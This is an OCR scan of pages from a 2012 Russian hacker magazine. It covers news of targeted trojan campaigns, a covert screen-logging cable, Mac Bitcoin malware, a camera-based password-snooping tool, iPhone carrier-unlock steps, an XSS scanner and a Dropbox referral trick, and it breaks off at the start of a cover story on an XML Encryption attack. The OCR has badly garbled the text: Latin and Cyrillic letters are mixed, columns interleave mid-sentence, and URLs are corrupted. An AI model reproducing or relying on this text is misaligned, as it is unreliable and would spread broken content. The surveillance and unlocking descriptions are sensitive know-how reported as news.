1!!!1 Комментарий: lilil Крупнейший CTF закончился побе­

ГciWeldPond: Гcljkouns:

Следуя инновации от

Сообществу безопасников необходим обширный ресурс для планирования конферен­ ций. Ещё один Gооglе-календарь- зто не

Google,

дой немцев.

группа вендорав призывает

опцию

OllyDbg _noRE.exe в

и

IDA

Рго поддержать

соглашении об именова­

ГciStephenwest:

нии файлов.

решение.

1!!!1 lilil Другие примеры клевых корот­

ких IР-адресов: http:!/4 ..2; http:/196.4; ht.p://71.3; ht.~ . Нулики восстанавливаются

Комментарий:

Ах-ха. :1 Этот твит появился сразу после того, как Google великодушно пред­

ложил не регистрировать точки доступа

Wi-Fi, в конце «_nomap». :1

имени которых имеется слово

словно по волшебству ... ГclinsitOr:

Каждый год ГciRogunix:

DоS/РоС-эксплойт для пере­ полнения

ICMP гefCount в стеке TCP/IP [MS11-083I требует 2л32 UРD-пакетов, следовательно, при 250 пото­

Oday для BIND.

4. lf

по

How to do а pentest: 1. Dгaw line with реп. 2. Check line. 3. lf visiЫe, реп woгks . line, реп does not woгk .

1!!!1 Комментарий: lilil ИБ-шники шутят. Как проводится pentest? 1. Ручкой [реп) рисуем линию. 2. Проверяем линию. 3. Если она видна, значит, ручка 4. Если линии нет, значит, ручка

работает. не работает.

Комментарий:

Таинственным образом по всей планете стали падать DNS- cepвepa

что вызв��ло слух о

BIND,

DoS Oday.

кахпроцессзаймет52дня.

t.co/aY.PCMyRy. Поисковик

lafjserna: Вчера был последний мой день

в Micгosoft/MSRC . Так здорово было там работать! А уже через несколько недель я присоединюсь к коман­

де безопасности

Google.

Shodan

может ска­

зать тебе, где найти в интернете

Ушел++.

системы

Siemens Simatic.

t.J;o 1l1Q0b3cq .

Гcljduck1337:

1!!!1 Комментарий: lilil У нас модный журнал. SCADA- зто

мышлений: bash: ./:-это

Пища для философских раз­ директория.

модно. И найти SСАОА-интерфейсы в интер­ нете -зто тем более модно.

1!!!1 Комментарий: lilil Ферм ин Джей Серна- один из авто­ ров замечательной утилиты ЕМЕТ, которая позволяет внедрять технологии, предотвра­

щающие эксплуатацию уязвимостей, в про­

извольные приложения. Хорошая работа!

ГcljOOru:

Обновленная таблица системных Гclmikko: Лучший параль-это « не

верен », теперь у тебя есть напо­

вызовов в Windows [NT/2000/ XP/2003Nista/2008/7/81. Больше деталей: .. _o/oBмiJ;17 .Q .

миналка в случае неверного

ввода: <<В веденный параль не верен ».

#woгstpasswoгd

1!!!1 lilil

Комментарий:

Чтобы читатели не жаловались на

бесполезность этой рубрики, вот вам полез­

ный л инк. Ну как?

ХАКЕР

01/156/2012

:1

011


ЛИШЬ ТРЕТЬДОМЕННЫХИМЕН (ИЗ 926 ТЫСЯЧ), зарегистрированных в зоне рф, активно

MEGANEWS

используется владельцами.

ХИМИКИ И «ОБОРОНКА» В ОПАСНОСТИ!

шпионить можно

ОБНАРУЖЕНА ЕЩЕ ОДНА АТАКА, НАПРАВЛЕННАЯ

ОЧЕНЬ НЕЗАМЕТНЫЙ И ХИТРЫЙ ВИДЕОЛОГГЕР

ПО-РАЗНОМУ

НА ПРОМЫШЛЕННЫЕ ПРЕДПРИЯТИЯ

~

Командные сервера Nitгo, которые

lociJtionofinfected computer s

удалось отследить , в

большинствесвоем

были виртуальными и располагались на

tioмUIIpi8CIIIftllиeM•

Как проследить, чем занимается человек за комnью т е­ ром? Конечно, можно установить кейлоггер или иное ПО для слежки , но его довольно легко обнаружить. Можно ис­

nользовать и аппаратный кейлоггер, но поройдаже этого может оказаться недостаточно. Занятная альтернатива

PCЬ.WNieO.US,...IJК

.,_ГICW•IIIcll'rlllf•. ~llwpop~

этим старым добрым способам- видеологгер VideoGhost,

ЧWUII~4if ... tflt.tllilo -!I\IC11WiМКW с.-,.uмn

позавидовал бы даже Джеймс Б анд. Ш тука, о ко­ торой я хочу сего дня тебе рассказать, как раз из их числа.

основном их арен·

Китая .

ol~oi!W•pail~

шпионить за ближними! Некоторым гаджетам

территории США. В довали граждане

ГIO'f•2~htountry

акихтолько средств не изобрели люди, чтобы

маскирующийся подобыч ны й кабель . Вместотого чтобы

•• ,.м..,.

loulwdМCIМidlotor&D­

fiOclns' l'lt.........IOif

запоминать н абранный текст, устройство сохраняет

,_,.,otortcrn-

скриншоты всего , что отображается на экране [объем встроенной флэш-памяти- 2 Г б] .

VideoGhost отличается

от обычного кабеля тем, что с одного конца у него имеется USВ-коннектор. Пр и подключении к USВ-разъему ком­ nьютера кабель определяется как флеш -н акопитель, с ко­ торого можно слить данные . Д ля считывания сохране нны х данных п онадобится переанальный USВ-ключ, который поставляется в комплекте осле

Stuxnet, наверное , с л ож но кого-то удивить вирусами

и атаками,

наnравл е нными не на ряд овых юзе ров, а на nромышленный сек т ор .

cVideoGhost . Выпу скаются VGA, DVI и Н DMI, каждая из них обой дется примерно в $200. версии кабеля с разъемами

Лишне е подтверждение тому, что подобны х атак становится больше, об нар ужили спе ци а ли сты компании

Symantec. Атака, условно названная

Nitгo, началась еще в конце а пр еля текущего года и была ориен т ирова на на nравозащитные орга ни за ци и, но потом ее создатели выбрали своей целью

промышленные предприятия . Атаке подверглись

29 компаний в 19 отраслях,

в

том числе в химической и оборонной [утверждается, что таких компаний может

быть намного больше]. Д оnодлинно известно, что за эти несколько месяцев в результатезаражения бы л и по хищены данные более чем со ста промышлен­ ны х комnьютеров. Хакеры действовали вполне традиционно- направляли сотрудник ам компаний электронные письма, замаскированные под корпора­

тивную рассылку. Большинство таких мейлов содержали архивы с китайским

троянеким софтом [в основном троянцы

Poisonlvy]. После заражения наме­

ченного компьютератроя н связывался с командным сервером и инфицировал

др угие корпоративные машины, находящиеся в том же д оме не. Эксперты

Symantec отмечают,

что а так ую щ ие часто использовали инди вид уаль ны е

методики и сце нарии атак . Ге ография Nitгo достаточно широка: большинство заражений пришлось на США, Бангладеш и Великобританию.

РЕСУРСВКОНТАКТЕВВЕЛ

АНТОН НОСИК ВЕРНУЛСЯ РА·

ДОЛЯ МОБИЛЬНОГО &РАУЗЕ·

«ВЕРНЫЕ ДРУЗЫ» ПОЯВИ·

ТЕСУНАЗНАНИЕ ОСНОВ

&ОТАТЬ BSUP нa должность

РАGООGLЕ, предустанавли­

ЛИСЬ В FACEBOOK. В случае

ВЛАДЕЛЬЦЫ КРУПНЕЙШИХ ПОРНОСАЙТОВ ВЫСТУПИЛИ

КОМПЬЮТЕРНОЙ &ЕЗОПАС·

медиадиректоракомпании.

ваемого на устройства с ОС

проблем Tгusted Fгiends по­

ПРОТИВ ЗОНЫ ХХХ. Он и

НОСТИ. Еслитвойаккаунт

Уже известно, что из ЖЖ

Andгoid , на рынке возросла

могутвосстановитьаккаунт

обвиняют ICANN в анти­

взломали, придется отве­

исчезнет почти вся реклама

до

и nодтвердитьличность

канкурентных действиях и

тить на несколько простых

и появится <<карма».

обогнать no nоnулярности

пользователя .

искусственном завышении

вопросов.

012

18,7%, что позволило ему

О ре га

Mini, доля которого составляет всего 13,1%.

цен на домены .

ХАКЕР

01 /156/2012

.


MAIL.RU GRОUРСОЗДАЕТСОБСТВЕННЫЙ СЕРВИС МИКРОБЛОГОВ, который должен стать конкурентом Twitter. Увы, подробности неизвестны.

КОМПЬЮТЕР НАФЛЕШКЕ

НЕЛЕГКИЕ БУДНИ

УЛЬТРАМАЛЕНЬКИЙ РС HAANDROID'E

НОВЫЙ ВИРУС ЗАСТАВЛЯЕТ МАКИ ГЕНЕРИРОВАТЬ

BITCOIN

КРИПТОВАЛ ЮТУ, А ЭКСПЕРТЫ НАХОДЯТУЯЗВИМОСТИ В СИСТЕМЕ

BITCOIN

момента nоявления пиринговая валюта

BitCoin

стала nредметом обсуждений и вызвала скепсис. Несколь ко атак, которые имели место прошлым

л етом, только п одлили масла в огонь . Напомним, чтотогда был взломан круnнейший обменник

Mt Gox, а позже и фо­ BitCoin, что незамедлительно сказалось как на курсе валюты , так и на ее репутации . Тем не менее, BitCoin все румы

В

FXI отметили, что

их детище The Cotton Candy будетстоить

менее $200, а его nродажи начнутся

во второй половине 2012 года. Кроме того, рассматрива­

ется вариантустрой ­

ства cWindows 8 на борту.

равно популярн а, ее можно обменять на реальные деньги, а значи т, она nредставляют интересдля всевозможных мошенников.

Эксперты компании

lntego,

которая с пециализируется на

технологиях безопасности, недавно обнаружили новый

вирус

Devii Robber, ориентированный

на валюту BitCoin .

Он использует целый комплекс вредоносных механизмов. Это одновременнотроян, находящийся внутри других приложений, бзкдор, откр ывающий порты для приема команд суда л енных се рверов , вор, крадущий данные и

монеты

Bi tCoin,

и шпионская программа, переправляющая

п ерсональныеданныепользова телейсвоимсоздателям.

DeviiRobber о риентирован

на Мае

05 Х, он задействует

вычислительны е р есу рсы графических карт для nроизвод­ ства виртуальны х монет. Подцепить этот зловред можно на

The Pirate В а у и др у ги х тр екерах. К примеру, он был внедрен в графически й редактор Graphic Converter для Мае 05 Х. орвежцы из компании

FXI

представили рабочий прототип сверх­

миниатюрного ПК. Разработка получила название

The Cotton Candy

[в переводе с английского- <<сахарная вата >> , ведь новин ка весит всего

Исnоль зуя видеокарту и ЦП для осуществления матема­ тических опера ций, троя н генерирует и крадет цифровую валют у. Кроме того,

Devii Rob ber ищет на зараженном

21 грамм, то есть столько же, сколько и упак о вка этой сладости! . Внешне

компьютере В itСоin -кошельки , чтобы украстьденьги и от­

устройство похоже на обычную U5В-флешку, но подобное впечатлен ие обман­

туда . Зловред с у щественно снижает производительность

чиво. Эта кроха оснащена АRМ-процессором

5am sung Exynos на 1,2 Г Гц [таким

же , как в смартфоне 5amsung Gala xy 5111. четырехъядерным графиче ским чи­ пом Mal i-400 МР, слотом для карт памяти micro5D [объе мом до 64 ГБI , мод улями

Bluetooth, разъемами HDMI2 .1

и

Firefox, который

5afari

и данные

Vidalia- плагина TOR.

используется для общения через

К

U5B 2.0. Е е мощностей хватит, чтобы восnроизводить фильмы с разрешением 1ОВОр. Р аботае тТhе Cotton Cand y под управлением ОС Android 2.3. С помощью этого девай са можно превратить

счас тью, пока D evii Robb e roбнapyжeн на весьма неболь­

любой телевизор, ноутбук, телефон, планшет или телеприставку в терминал

о работе и жизнеспособности

для операционной системы

ученые. Недавно ученые Сигал

Wi-Fi

и

Мае . De vii R obberтaкжe ворует па роли, историю посещения страниц из браузера

Android. Устройство может играть роль аппаратно­

шом количестве компьютеров, однако это не означает, что

в дальнейшем он не распространится шире . Междутем

BitCoin высказываются и Oper и Шахар Добзински

из

го эмулятора гугловской ОС. Подключать девай с можно не только к телевизору

Корнеллскогоуниверситета и исследователи Маш Бабай­

по

офф и А вив Захар из

HDMI, но и к компьютеручерез U5B [в этом случае он будетрасnознаваться как накопитель!. Bluetooth служит для подключ ения клавиатуры и мыши, в

Microso ft nредставили доклад, посвя­

щ е нный пирингавой валюте. Они зая вили, что обнаружили

качестве инструмента управления можно также использовать и планшет.

фундаментальную уяз вимость в электронной валюте и эта

Пока устройство не имеет доступа к Android

дырка в итоге вообще сможет остановить развитие

Market, но его обещают д обавить к

моменту релиза .

BitCoin.

Про блема состоит в сле д ую щем: когда Юзер1 nлатит Юзеру2, д о п устим,

50 монет, э тот Юзер1

вводит платеж­

ныйпарольипередаетданныепосделкенадругиеточки .

НЕ ХОЧЕШЬ, ЧТОБЫ GOOGLE ВИДЕЛТВОЙ РОУТЕР?

Др у ги е участники получают скромную плат у за проверку платежа, которая nроизводится при помощи хеша, сгене­

рированноготранзакционной записью. С наращиванием денежной массы схема, позволяющая создаватьденьги из

ПРОСТО ДОПИШИ В КОН­

ЦЕ SSID СВОЕГО ДЕВАЙ СА

ничего, исчерnа етсеб я, и проверкойтранзакций займутся одиночных узлы

Bi tCoi n. Здесь-то и

кроется уязвимость.

Е сли по о щрятьполь зова телейтолькозапроверкуnред­ л ожен ны х транзакций, они не захотят передавать эти тран­

<<_NOMAP>>, И ТЫ БОЛЬШЕ

закции др угим . Вм есто это г о они будут держать в секрете

НЕ ПОПАДЕШЬ В БАЗУ ГЕО­ ЛОКАЦИОННЫХ СЕРВИСОВ

А если каждая транзакция будет происходить на одной

GOOGLE

ская nроблема , но я со мневаюсь , что в проект придется

ХАКЕР

01 / 156/2012

проведенные сделки, чтобы не делиться ни с кем деньгами. точке, пр оцесс авторизации зай меточень много времени .

Нильс Шнайдер, разработчик проекта

BitCoin, пишет: « В

д окла дерассматриваетсяочень интереснаятеоретиче­

вносить какие-либо изменения>>.

013


MEGANEWS

ВЫШЛАФИНАЛЬНАЯ ВЕРСИЯ ЯДРА LINUX3.1, последствия недавнего взлома kегпеl . огg полностью устранены .

ИЗВЕСТИЯ ИЗ

СОФТ, ПОДСМАТРИВАЮЩИЙ

CTAHAADOBE

ЧУЖИЕ ПАРОЛИ

КОМПАНИЯ ОТКАЗЫВАЕТСЯ ОТ FLEX И

FLASH НА МОБИЛЬНЫХ ПЛАТФОРМАХ НАВЕДИ КАМЕРУ СВОЕГО С МАРТФОНА НА ЧЕЛОВЕКА, НАБИРАЮЩЕГО ПАРОЛЬ, И ПОЛУЧИПАРОЛЫ от до чего, как говорится, « дошел nр огресс». Команда

исследователей из университета Северной Каролины раз­ работала, в общем, не сложный, но nоражающий вообра­ жение софт. П рограмма

iSpy оnравдывает свое

имя на все

100%. Как

ты знаешь, во время набора текстовых сообщений, nисем или ввода регистрационных данных на виртуальной клавиатуре устройств

iPhone илидndгоid

вводимые символы nоявляются на экране в

небольших блоках [magnified keysl. Пр ограмма iSpy с n особна не только оnределить, какой текст ввел nользователь, н о да же из­

влечь оnре д е л е нн уюинформацию с экрана с nомощью отражения в окне или в чьих-то очках! Дл я осуществления этогонеобычного ха ка нужно с т оя ть не дальше трех метров от жер твы , чт обы можно было снят ь на камеру процесс ввода данных . Е сли же для съемки

исnользуется однообъективная зеркальная камера, расстояние В результате отказа

дdоЬе от Flash nод сокращение попа ·

дут

можно уве личить и до

60

более

Чем дальше стоит шnион , тем меньше этот

90% символов.

метров. В идеале nравильно расnознается

nро цент. Также nроцент уменьшае тся, если снимать отражение,

750 штатных со­

трудников (то есть 7

nотому что nри этом размер изображения экрана уменьшается.

% штат а комnании! в СевернойАмерике и

Однако nри наличии DSLR-кaмepы можно nолучить неnлохие

Евроnе .

результаты и с расстояния в

ют отключать функ ци ю

12 метров. Создатели iSpy рекоменду­ magnifi ed key и исnользовать что-то вроде

защитного козырька для экрана.

dobe nринял а р е ш ен и е nр екрат ить n о дд ерж к у мобильной версии Fla sh Рlа уе г. В будущем техно логию Fla sh для мо­ бильных устройств nл анируе т ся ис n о л ьзо в ать в основном в инструментах, n озволяющих с n омощью

Adobe Al Rсоздавать нативные

n ри л ожениядлямобиль ны хnлатформ.Комnаниянамеренаnродол­

жать nоддержкутекущих конфигураций

Android

и

PlayBook, выnуская Flash Player

критическиеnатчии обно вл ения безопасности. Вместо

комnания сконцентрируе т ся на разработке nлатформы для мобильных nриложений а также увеличит инвестиции в

HTML5. О nричина х такого

решения в благе nоведал Майк Чамберс, уnравляющий по связям с раз­ работчиками nлатформы

Apple,

Flash . В частности, о н отметил, ч то комnания

являющаяся о дним из лидеров рынка, nо-nрежнему не собирает­

ся вне др ять n о ддер жку

Flash Pl ayer в браузеры для iOS. «Что бы мы ни Fla sh Pla ye r врядли nоявился в Apple iOS в обоз рим ом буд у­ щем»,- nишет о н . Так что отказ Adobe от Fl ash в мобильных т е л ефонах и nланшетах - это внекотором роде и т о г «хо л одной войны>> с Apple.

д е л а ли ,

Также ста л о известно, что комnания решила отказаться и от развития

Flex SDK. П осле очеред н о го релиза Flex 4.6 SDK, выход которого 29 ноября, nроект буде т nередан в о реп source.

назна­

чен на

АМЕРИКАНСКИЕ ВОЕННЫЕ В УДАРЕ. Агентство

передовых оборонных исследований

AMAZON ОБРАТИЛ СВОЕ

ЗА ПОЛГОДАGООGLЕ ПО­

объявило конкурсShгеddег Challenge на лучшую и

ВНИМАНИЕ НА СМАРТФОНЫ .

ЛУЧИЛ ОТ РОССИИ ОКОЛО

наиболее эффективную методику восстановления

Согласно азиатским источни­

ДЕСЯТИЗАПРОСОВ на

разорванных или пропущенных через шредер

кам, в конце2012 года ком­

удалениепримернодесяти

документов. К участию приглашаются компьютер­

пания представит на рынке

единиц контента и

щики, любители головоломок и сложных задач.

собственный телефон .

санараскрытиеданных47

DARPA

Победитель получит 50 тысяч долларов.

011.

42 запро­

аккаунтов .

ХАКЕР

01/156/20 12


СЕРГЕЙ БРИН и его супруга пожертвовали 500 тысяч долларов в фонд Wikimedia.

КАК РАЗБЛОКИРОВАТЬ IPHONE БЕЗ ДЖЕЙЛБРЕЙКА НАЙДЕН ИНТЕРЕСНЫЙ СПОСОБ РАЗЛОЧКИ ~~ЯББЛОЧНЫХ>> АППАРАТОВ

В iPhone Dev-Team киnит работа над

. ",-·-"·

обыкновенным джейлбрейком для

iPhone4S. Недавно втвиттере команды

появилось сообщение, что предварительная

версия джейлбрейка уже готова. В доказательство хакеры показали nарускриншотов, но заметили, что до релиза еще далеко.

а к только

iPhone 45 поступил

в продажу, хакеры со всего мира

тут же принялись колдовать над созданием джейлбрейка для нового него. Один из членов Chгonic ци нашел способ отвязать

DevTeam Майкл КапоцiPhone от сотового оператора без помощи

традиционного джейлбрейка. На данный момент, зто, пожалуй, самый простой способ заставить

iPhone,

предназначенный исключительно

для работы в домашней сети АТ& Т, работать в сетях других операторов. Самое интересное, что, как выяснилось в результате тестирования,

зтот метод, созданный для iPhoпe предыдущих поколений:

45, подходиттакже и для iPhoпe двух iPhone 4 и iPhone 3G5, то есть для всех актуаль­

ныхны не моделей. Единственный минус метода Капоцци состоит в том, что анлокдействуеттолько до первой перезагрузки аппарата, после которой телефон нужно «отвязывать>> заново. Итак, рассмотрим, что

нужно делать. Способ взлома прост: тебе понадобится лишь

51 М-карта

оператора АТ& Т, обрезанная под соответствующий размер, и сим ка оператора, в сети которого аппарат планируется использовать в даль­

нейшем. При разпочке аппарат должен находиться в сети АТ&Т либо его

роумингового партнера !в России это «Билайн>>, «Мегафон>>, СМАРТС и

региональные операторы, входящие в состав «Ростелеком»l. Весь процесс пошагово показан в видеоролике, найти который мож-

но по адресу youtu.be/gofpeiTXI5U. Шаманство от Капоцци выглядиттак:

набираем номер службы поддержки абонентов АТ& Т

space

1611)

и сбрасывем вызов;

включаем режим работы <<В самолете>>; вынимаем

51 М-карту АТ& Т и

вставляем ее аналог от T-Mobile;

проверяем, что Wi-Fi отключен !в настройках сети можно

когда появляется одна полоска уровня сигнала, выбираем

выбрать пункт <<Забыть эту сеть>>, чтобы небыло

пункт << Использовать подключение к сотовой сети>>;

автоматического подключения);

вы ни маем

выключаем режим работы <<В самолете>>,

оповещение <<Требуется активация>>;

после чего iPhoпe ищет сеть;

вставляем

на экране появляется оповещение <<Требуется активация>>;

и пользуемся разлоченным смартфоном .

после этого автоматически активируется

EDGE и

в левом

51 М-карту,

после чего снова появляется

51 М-карту оператора T-MoЬile обратно

Российские пользователи сообщают противоречивые сведения об

верхнем углу экрана появляется буква Е;

эффективности этого метода. По утверждению самого Капоцци, наилуч­

ждем примерно

шего результата его метод позволяет достичь при <<перепрограммиро­

20-30 секунд и выключаем смартфон;

снова включаем iPhoпe, после чего на экране вновь появляется

вании>> iPhoпe под сеть T-MoЬile, так что эффективность метода в России

оповещение <<Требуется активация>>;

действительнопод вопросом .

НЕМНОГО СТАТИСТИКИ ОТ КОМПАНИИ

MCAFEE:

КОЛИЧЕСТВО НОВЫХ ОБРАЗЦОВ ВРЕДОНОСНЫХ ПРОГРАММ ПРЕ­ ВЫСИТ 75 МИЛЛИОНОВ К КОНЦУ ТЕКУЩЕГО ГОДА ХАКЕР

01 / 156/2012

015


.HEADER

Proof-of-Concept СКАНЕР ХSS-УЯЗВИМОСТЕЙ НА

100 СТРОЧЕК КОДА

Внимательный читатель вспомнит, что с полгода назад у нас уже был похожий РоС. Тогда Мирослав Штампар решил доказать, что функционал для поиска SQL-инъекций, которым располагает большинство коммерческих сканеров безопасности, можно воссоздать в небольшом скрипте,

уложившись в сто строчек кода. Автор знает, о чем говорит,- он сам является автором

map,

sql-

которая по праву считается одним из лучших инструментов для поиска и эксплуатации

SQLi

и распространяется бесплатно . Основная идея сегодняшнего РоС состоит в том, что и для поиска ХSS-уязвимостей не надо городить огород . Сто строчек кода- и сканер готов. Так появился

Damn Small XSS Scanneг [DSXS).

ПРОСТО О ПОИСКЕ

XSS

Начнём с азбуки. Cгoss-site scгipting

Обнаружение ХSS-уязвимостей услов-

[XSS]-

но можно разбить на два этаnа. Первы й

умеет проверять

GET-

и РОSТ-параметры на на­

личие ХSS-уязвимостей, и при зто м ул ожился

это тиn атак, nри которых в вывод веб­

этаn- оnределение того, исnользовали ли

всего в сто строчек кода.

nриложения инжектируется некоторый JS-код.

веб-nриложение для формирования ответа

Scanneг

иск тех значений , которые включают ся в вывод

Damn Small XSS [DSXS] автоматически выполняет по­

Браузер клиента nолучает этот код и без

введенные nользователем данные. На этом

тени сомнения его выполняет. Чащ е всего

этаnе атакующий пробует вручную ввести

веб-приложения, и анализирует их контекст.

ХSS-атака исnользуется для кражи аутенти­

nроизвольные значения в НТМL-форму или

Для каждого контекста есть свой набор

фикационных кукисов . Уязвимость возникает

nараметры GET/POST-зanpoca . В случае если

символов, которые не должны фильтровать­

из-за отсутствия фильтрации, когда данные,

ся и кодироваться, чтобы атакующий смог

введенные nользователям, исnользуются для

введенные символы содержатся в ответе [то есть их можно на йти в исходнике страницы ] ,

формирования НТТР-ответа. Самый банальный

атакующий может nереходить ко второму шагу.

в уже упомянутом случае, когда введенные

nример-форма для nоиска. Если ответ серве­

Здесь уже надо изучить контекст, в котором

nользователем данные внедряются в тег

ра содержит заnрос nользователя в «чистом»

используются данные nользователя, и за­

<а hгef= " ... ">, необходимо, чтобы символы«

виде, то приложение с большой вероятностью

висимости от этого выбрать nравильный

и> отражались в выводе веб-приложения

будет уязвимо к ХSS-атакам.

ХSS-nейлоад. Нагрузка должна быть такой,

в исходном виде.

чтобы веб-nриложение сформировало се­

полняет выбор нагрузки для восьми разных

мантически корректный ответ с внедренным

случаев, охваты вая тем самым большинство

проэксnлуатировать уязвимость. Наnрим ер,

DS XS

автоматически вы­

зловре дным кодом. Очень важно, в каком

всех возможных кейсов. Помим о контек-

контексте исnользуются введенные пользова­

ста,

телем данные . Наnример, если бы внедренное

фильтруются ли символы. Есл и некоторые

значение находилось в ответе сервера внутри

символы «не nроходят», сканер дает об

НТМL-тегов <scгipt> .. </scгipt> [что nредставить довольно сложно ] , то атакующий мог бы сразу

зтом знать. В этом случае атакующий может

наnисать зловредный JavaScгipt-кoд. Но если,

необязательно должна быть валидной, чтобы

к nримеру, введенные nользователем данные

внедренный с криnт выnолнялся], несмотря

оказываются внутри НТМL-тега <а hгef= " ... ">,

на то что располагает ограниченным набором

DSXS

отображает информацию о том,

« nовредить » контекст [разметка страницы

то необходимо с начала закрыть тег символами

символов . Удивительно, но в сто строчек кода

«»>и только nотом nисать боевой JS-код, об­

автор умудрился уместить и д ополнительные

рамленный в <scгipt> ...</scгipt>.

nараметры. Сканер, помимо всего прочего, способен работать через nрокси и исnользо­

О nоиск XSS на специальной тестовой площадке для легальных тренировок zero.webappsecurity.com

016

DSXS

вать случайные значения Useг-Agent, Rеfегег

Понятно , что автоматизировать nоиск ХSS­

и

уязвимостей несложно. Но что сделал Миро­

крыт и достуnен на GitHub [https:Ugithub.com/ stampaгm/DSXS ]. :Х:

слав? Он наnисал утилиту на

Python,

которая

Cookie

в НТТР-заголовках . Код проекта от­

ХАКЕР

01 / 156/ 201 2


HEADER

КОЛОНКАСТЁПЫИЛЬИНА

КАКБЕСПЛАТНОПОЛУЧИТЬ 10 ГБ В DROPBOX С ПОМОЩЬЮ ADWORDS 10ГБ ЛУЧШЕ

2 ГБ

полученного ваучера. После этого можно приступать к созданию новой

Можно долго ругать сервис DгорЬох за проблемы и фейлыс безопас­

кампании [показу рекламных объявлений] :

ностью, но миллионы людей, включая почти всю команду Накера,

1. Нажми на кнопку<<Создайте первую кампанию>>. 2. Придумай имя для кампании [например, «DгорЬох»]. 3. Настрой кампанию так, чтобы она показывалась во всех странах и

использует этот сервис самым активным образом. В рамках обычного аккаунта пользователю выделяется всего но объем можно легко увеличить до

50

2 Гб

для хранения файлов,

аккаунт . Стоит он не так уж и дешево-

$99,00 в год. К счастью,

соз датели предлагают другой вариант, суть которого заключается в

на

все распространенных языках [английский, испанский, немецкий, французский, японский].

Гб, если приобрести платный

3.

ста ндартной реферальной схеме «Приведи друга- мы тебе дадим

В разделе «Ставки и бюджет>> обозначьлимит на день: скажем,

600

рублей в день .

еще до

250 Мб бесплатно». Таким образом, аккаунт можно прокачать 1О Г б, которых уже вполне достаточно, если не хранить в облаке

какие-то тяжелые проекты или фотографии. Важно, что засчитыва­

Все остальные поля можно оставить по умолчанию. Далее на­ жимаем «Сохранить и продолжить>> и попадаем на станицу, где

ется не столько регистрация, сколько установка клиента DгорЬох,

необходимо настроить вид наших рекламных объявлений. Проверены

причем уникальность клиента проверяется по МАС-адресу. Есте­

следующие варианты ключевых слов: dгорЬох, fгее oпline stoгage, fгее,

online backup

Можно не фантазировать, главное- сделать так, чтобы объявление

говорят, DгорЬох каким-то образом стал пресекать подобную актив­

было опрятным и не нарушало политику

ность по н акрутке- я, если честно, не сильно вдавался в подроб­

го

URL указывай

online backup, online backup data,

dгорЬох

ствен но, на шли сь умельцы, которые написали различные утилиты

для автоматической прокачки аккаунта [например, Ьit . ly/uпd69i ]. Но,

Google. В

space.

качестве целево­

свою реферальную ссылку, которую можно взять

ности . Однако сейчас не могу не поделиться с тобой новым и, на мой

на странице настроек DгорЬох в разделе Refeгall Status [например,

взгляд, очень изящным способом легально прокачать свой аккаунт

httR:Udb.tt/UfxuFBm ]. По сути, все готово.

до

10

Гб, ничего не накручивая и действительно привпекая к DгорЬох

настоящих клиентов. С помощью AdWoгds и совершенно бесплатно!

Судя по расценкам за клик, подобный хак использует довольно мно­ го людей, но нам это никак не помешает. Если бы речь шла о настоящих деньгах, то для каждого ключевого слова стоило бы указать не большую

В ЧЕМ ИДЕЯ?

цену за клик. Но так как мы тратим бонусны е баксы, то можно выставить

автоматический режим формирования СРС [Cost-Peг-Ciick]. С этого мо­

Идея сама по себе очень простая, и предложил ее в своем благе

некий Владик Рихтер [ Ьit.ly/гxNKyB ]. Любому нормальному человеку

мента остается только ждать и поглядывать на статистику перехода в, на­

объективно сложно привлечь столько пользователей сервиса, чтобы

слаждаясь увеличением объема своего аккаунта. Главное теперь- не

за счет реферальной схемы увеличить объем своего DгорЬох-ящика .

проморгать тот момент, когда бонусные средства будут израсходованы,

Особенно сейчас, когда сервис уже сверхпопулярен. Что можно

чтобы отключить показ рекламы.

сделать? Я знаю людей, которые не обламывались рассылать спам,

Что мы получаем в итоге? Во-первых , мы прокачали свой аккаунт в

но зто не наш метод . Мой ответ- контекстная реклама. Да, можно

DгорЬох. Во-вторых, мы принесли сервису новых реальных клиентов.

:]

использовать самый обычный AdWoгds, продвигая в процессе

В -третьих, мы освоили AdWoгds, с которым, вполне возможно, и дела­

рекламной кампании свою реферальную ссылку. «Так за это же надо

то никогда не имели [а зто и есть главная цель рекламных ваучеров

платить?,,- резонно заметишь ты . Вроде как да, но на самом деле

Google]. Это уже тройной профит получается. :] :Х::

необязательно! Если ты помнишь, то в нашем журнале были реклам­ ные купоны

Google,

предлагающие

1000

руб. для проведения первой

рекламной кампании. Подобные купоны не редкость. А по ссылке

Qit.

l y/гAEsg1 ты попадешь на форму для получения бонусных $75 на счет AdWoгds, которых как раз хватит, чтобы оплатить клики на реклам­

ные объявления .: ] Надо лишь указать имя и фамилию,

e-mail [лучше

на каком-нибудь платном домене], адрес сайта [сойдет страница на каком-нибудь сервисе вроде

about.me], а также номер телефона . e-mail. Для вер­

Через некоторое время ты получишь ваучер на свой

Updated

Statu.s

3/ 26/ 2011 7:4 5 АМ

,.

3/26/ 2011 6: 52 АМ 3/ 26/ 2011 6:37

АМ

Jo ined Completed Jo ined

3/ 26/2011 6 :08

АМ

Jo ined

3/ 26/2011 5:23

АМ

Completed

3/26/ 2011 5:14

АМ

Completed

Google AdWoгds [ adwoгds.google.com ]. Поэтому смело заводи там аккаунт

3/ 26/2011 4:49

АМ

Completed

и переходи в меню «Оплата

3/ 26/2011 4:32

АМ

Compl eted

ности можно прикинуться американцем [через прокси] .

КАК ПРОКАЧАТЬ АККАУНТ? Попробуем? Единственный инструмент, который нам понадобится,- это

-7

Настройки платежных данных>> . Придется

ввести здесь данные о пластиковой карте [не бойся, если не превысишь бонусный лимит, то с тебя не спишется ни копейки], а также указать код

ХАКЕР

01/156/2012

Каждая регистрация -плюс 250 Мб к объему аккаунта на Dropbox

017


COVERSTORY

lplaintextl llirstfaplaintext .su, www.plaintext.sul

=злом

Весь мир еще не успел отойти от

BEAST и Padding Oracle Attack на .NET Framework, как пара исследователей обнаружила уязвимость в механизме

Encryption,

XML

применяемом для

шифрования ХМL-контента. На этот раз всему виной снова стал многострадальный

режим шифрования СВС и

XML ENCRYPTION www.wЭ.org/TR/ хmlеnс-соrе/ ­

Технология

сnецификация

Framewoгk "ax [этот стандарт nоддерживают

XML Encryption на официальном сайте wэс .

bit lу/оМuоЕу ­ ориrинальная статья

исследователей,

обнаруживших уязвимость в XML

Encryption.

XML Encryption, стандартизованная

2002

XML .NET, Apache Axis2,

JBOSS и т. д.[. Сегодня она активно применяется для защиты коммуникаций между веб-сервисами в прод уктах многих ком­ nаний, в частности

Microsoft

спецификация

Encгyptioп точно оnисывает синтаксис криn­

XML

и

Red Hat.

На т ехническом уровне

